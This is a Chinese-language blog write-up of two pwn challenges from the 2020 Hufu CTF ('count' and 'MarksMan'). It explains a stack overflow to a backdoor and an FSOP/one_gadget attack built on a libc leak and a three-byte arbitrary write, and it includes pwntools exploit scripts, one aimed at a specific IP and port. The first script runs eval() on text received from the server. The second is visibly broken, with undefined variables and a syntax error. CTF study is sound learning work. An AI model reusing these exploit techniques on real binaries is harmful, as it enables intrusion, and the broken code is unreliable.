hfctf(2020虎符CTF)

4月19日,作为大一萌新的我参加了这次CTF的线上赛,和师兄们一起做题,做出的题目不多,作为一场学习,配合wp来进行一次复盘。

1.count

这个应该算是这里面最简单的题目了。

先用IDA打开

查看程序逻辑:

这个程序的保护的canary也没开,只开了NX不可执行。

逻辑大概是题目给一个表达式,叫你算出来,重复199次。然后就可以有一次输入(溢出)的机会,这里也给出了后门函数,所以逻辑很简单,直接到溢出点,算好便宜,然后溢出就好。

这个题目遇到的主要问题是对pwntools里的数据接收不熟悉,脚本一直在前面的表达式处报错。

Exp:

from pwn import *
p=remote('xxxxx',xxxx)
for i in range(200):
    p.recvuntil('Maths:')
    key=p.recvuntil('=')[:-1]
    print key
    print eval(key)
    p.sendline(key)
payload='a'*0x64+p64(304305682)
p.recvuntil('input answer:')
p.sendline(payload)
p.interactive()

2.MarksMan

这个题目给了文件和libc库,程序保护全开

IDA反编译出来的伪代码

这个题目会在一开始打印出puts的got表地址,配合所给出的Libc库可以算出libc的基址。(当然开了地址随机化之后,每次打印的got表地址不一样。)

这个题目里给出的攻击机会是在任意地址写三个字节的能力。

根据师兄的指导,应该是fsop攻击

通过这篇blog学习的fsop

blog for fsop

用one_gadget 寻找指令

能用的就第三个
这个check函数会过滤掉我们的onegadget
one_gadget第三个指令对应的汇编代码

我们可以看到,在0x10A38C这个地址上,我们可以往前面退5个字节,依旧能执行指令的效果。(所以可以通过地址减5绕过)

Exp:

from pwn import *
p = remote('39.97.210.182', 10055)
#p.process('./chall')
p.recvuntil('I placed the target near: ')
puts_got = int(p.recvn(14), 16)#puts的got表地址
puts_libc = 0x809c0
libc_base = leak- puts_libc
address = libc_base + 8511328 #写入指令的地址
shoot = libc + 0x10a38c - 5 # -5 为了绕过check_v7函数
p.recvuntil('shoot!shoot!')
p.sendline(str(address))
log.success('shoot : ' + hex(shoot))
payload = ['', '', '']#将指令以小端存储发送
payload[0] = int(hex(shoot)[-2:], 16)
payload[1] = int(hex(shoot)[-4:-2], 16)
payload2] = int(hex(shoot)[-6:-4], 16)
for i in range(3):
    log.success(hex(payload[i]))
    p.sendlineafter("biang!", chr(payload[i]))
p.interactive()

这个exp是根据仿照师兄,自己复盘写的,fsop不是很懂,还是要多看看。

fsop的题目也是第一次见,记录一下。

发表评论

电子邮件地址不会被公开。 必填项已用*标注